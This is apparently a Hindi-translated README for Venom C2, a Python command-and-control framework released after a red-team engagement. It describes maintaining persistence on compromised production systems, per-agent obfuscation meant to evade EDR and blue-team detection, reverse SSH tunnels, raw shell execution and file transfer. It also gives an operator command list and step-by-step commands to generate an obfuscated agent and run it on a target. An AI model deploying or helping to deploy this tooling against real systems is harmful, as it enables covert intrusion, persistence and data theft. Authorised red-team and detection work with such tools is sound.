boku7/venomवेनम C2 एक डिपेंडेंसी-मुक्त Python3 कमांड और कंट्रोल फ्रेमवर्क है जो रेडटीम पर्सिस्टेंस के लिए है।
वेनम C2 एक निर्भरता-मुक्त Python3 कमांड और कंट्रोल फ्रेमवर्क है जो रेड टीम निरंतरता के लिए बनाया गया है, और पैकेज स्थापित किए बिना सिस्टम पर चलने के लिए डिज़ाइन किया गया है। इसमें एक Flask टीम सर्वर, एक Electron ऑपरेटर GUI, और एक एकल-फ़ाइल Python एजेंट शामिल है जो कॉन्फ़िगर करने योग्य AES-एन्क्रिप्टेड JSON संदेशों का उपयोग करके HTTP/HTTPS पर संचार करता है। इसका उपयोग कमांड निष्पादित करने, फ़ाइलें प्रबंधित करने, पहुँच बनाए रखने और समझौता किए गए सिस्टम से SSH रिवर्स टनल बनाने के लिए करें।
जब हम नेटवर्क विशेषाधिकारों को बढ़ा रहे थे, तब हम कई उत्पादन प्रणालियों पर पहुंचे जो असामान्य डिस्ट्रो और आर्किटेक्चर चला रही थीं। हम निरंतरता स्थापित करना चाहते थे, लेकिन हमारे उपकरणों और तकनीकों का शस्त्रागार काम नहीं करता था। इसके अलावा, कुछ लक्षित प्रणालियों पर EDR चल रहा था।
ये उत्पादन प्रणालियाँ थीं, इसलिए हम पैकेज स्थापित नहीं करना चाहते थे। हमें एक C2 एजेंट की आवश्यकता थी जो बिना निर्भरता के चले। सिस्टम पर Python3 स्थापित था, इसलिए मैंने मध्य-अभियान में वेनम C2 बनाया; एक निर्भरता-मुक्त Python3 C2 एजेंट जो बस काम करता है।
हम तैयार C2 एजेंटों का उपयोग नहीं करना चाहते थे, क्योंकि इस जोखिम से कि वे ब्लू टीम द्वारा पहचाने जा सकते हैं। आधुनिक EDR को बायपास करने के लिए अद्वितीय कोड ही राजा है
चूंकि कई सिस्टम थे, हमने प्रति एजेंट अद्वितीय अस्पष्टीकरण, नामकरण, फ़ाइल सिस्टम प्लेसमेंट, अलग-अलग नेटवर्क कॉलबैक डोमेन और अद्वितीय नेटवर्क पथ अनुरोधों को स्वचालित किया।
मैंने इसे Venom नाम दिया क्योंकि मेरा बेटा स्पाइडर-मैन के Venom खलनायक को पसंद करता है। साथ ही अजगर एक सांप है और अच्छे सांपों में विष होता है, इसलिए मुझे लगा कि यह एक अच्छा फिट है।
कोई नहीं है।
यह सिर्फ एक एक बार का C2 प्रोजेक्ट था जो मैंने मध्य-अभियान में किया था। इसे लक्ष्य वातावरण में स्थिर और विश्वसनीय बनाने में लगभग 2 दिन का विकास लगा। इसने अपना काम किया, हमें अभियान के शेष 6 हफ्तों के लिए नेटवर्क में निरंतरता दी। मैं इस प्रोजेक्ट को विकसित या उपयोग करने की योजना नहीं बना रहा हूँ, इसलिए मुझे लगा कि यह सार्वजनिक रूप से जारी करने के लिए एक अच्छा उम्मीदवार है।
अन्यथा यह केवल devNULL में खो जाता...
[11-04-2025 11:31 AM MST] admin help
help : Display this help menu
ls : List directory contents
pwd : Show current working directory
cd : Change directory
cat : Display file contents
mv : Move/rename files or directories
cp : Copy files or directories
mkdir : Create directory
rmdir : Remove empty directory
write : Write content to file
chmod : Change file permissions
rm : Remove (delete) files
shell : Execute raw shell command
sleep : Make agent sleep with optional jitter
sshrev : Create reverse SSH tunnel
kill : Terminate agent process
upload : Upload a file from your local operator box to the remote agent box
download : Download a file from remote agent box to local operator box
git clone https://github.com/boku7/venom
cd venom
pip3 install -r server/requirements.txt
cd server
python3 server.py --help
python3 server.py
python3 server.py --adduser <USERNAME> <PASSWORD>क्लाइंट UI को अपने वर्कस्टेशन पर चलाएँ (सर्वर पर नहीं)। इसे सर्वर तक पहुँचना होगा।
cd ../client
npm install
npm run start
क्लाइंट खोलें, Config पर जाएँ, और सर्वर क्रेडेंशियल दर्ज करें।
सर्वर का क्लाइंट API आधार पथ /api/ है। /api/ को सार्वजनिक इंटरनेट पर उजागर न करें। VPN या सख्त फ़ायरवॉल/रिवर्स-प्रॉक्सी नियमों का उपयोग करें ताकि केवल विश्वसनीय क्लाइंट ही उस तक पहुँच सकें।
server निर्देशिका से:
python3 agent_create.py -H <server_host> -P <server_port> [-http]
server निर्देशिका से:
python3 agent_obfuscate.py agents/<generated_agent_file>.py
जिस लक्ष्य कंप्यूटर को आप नियंत्रित करना चाहते हैं, उस पर चलाया जाना चाहिए।
python3 /Users/bobby/venom/server/obfuscate/output/obfuscated_agent_20251104_110902.py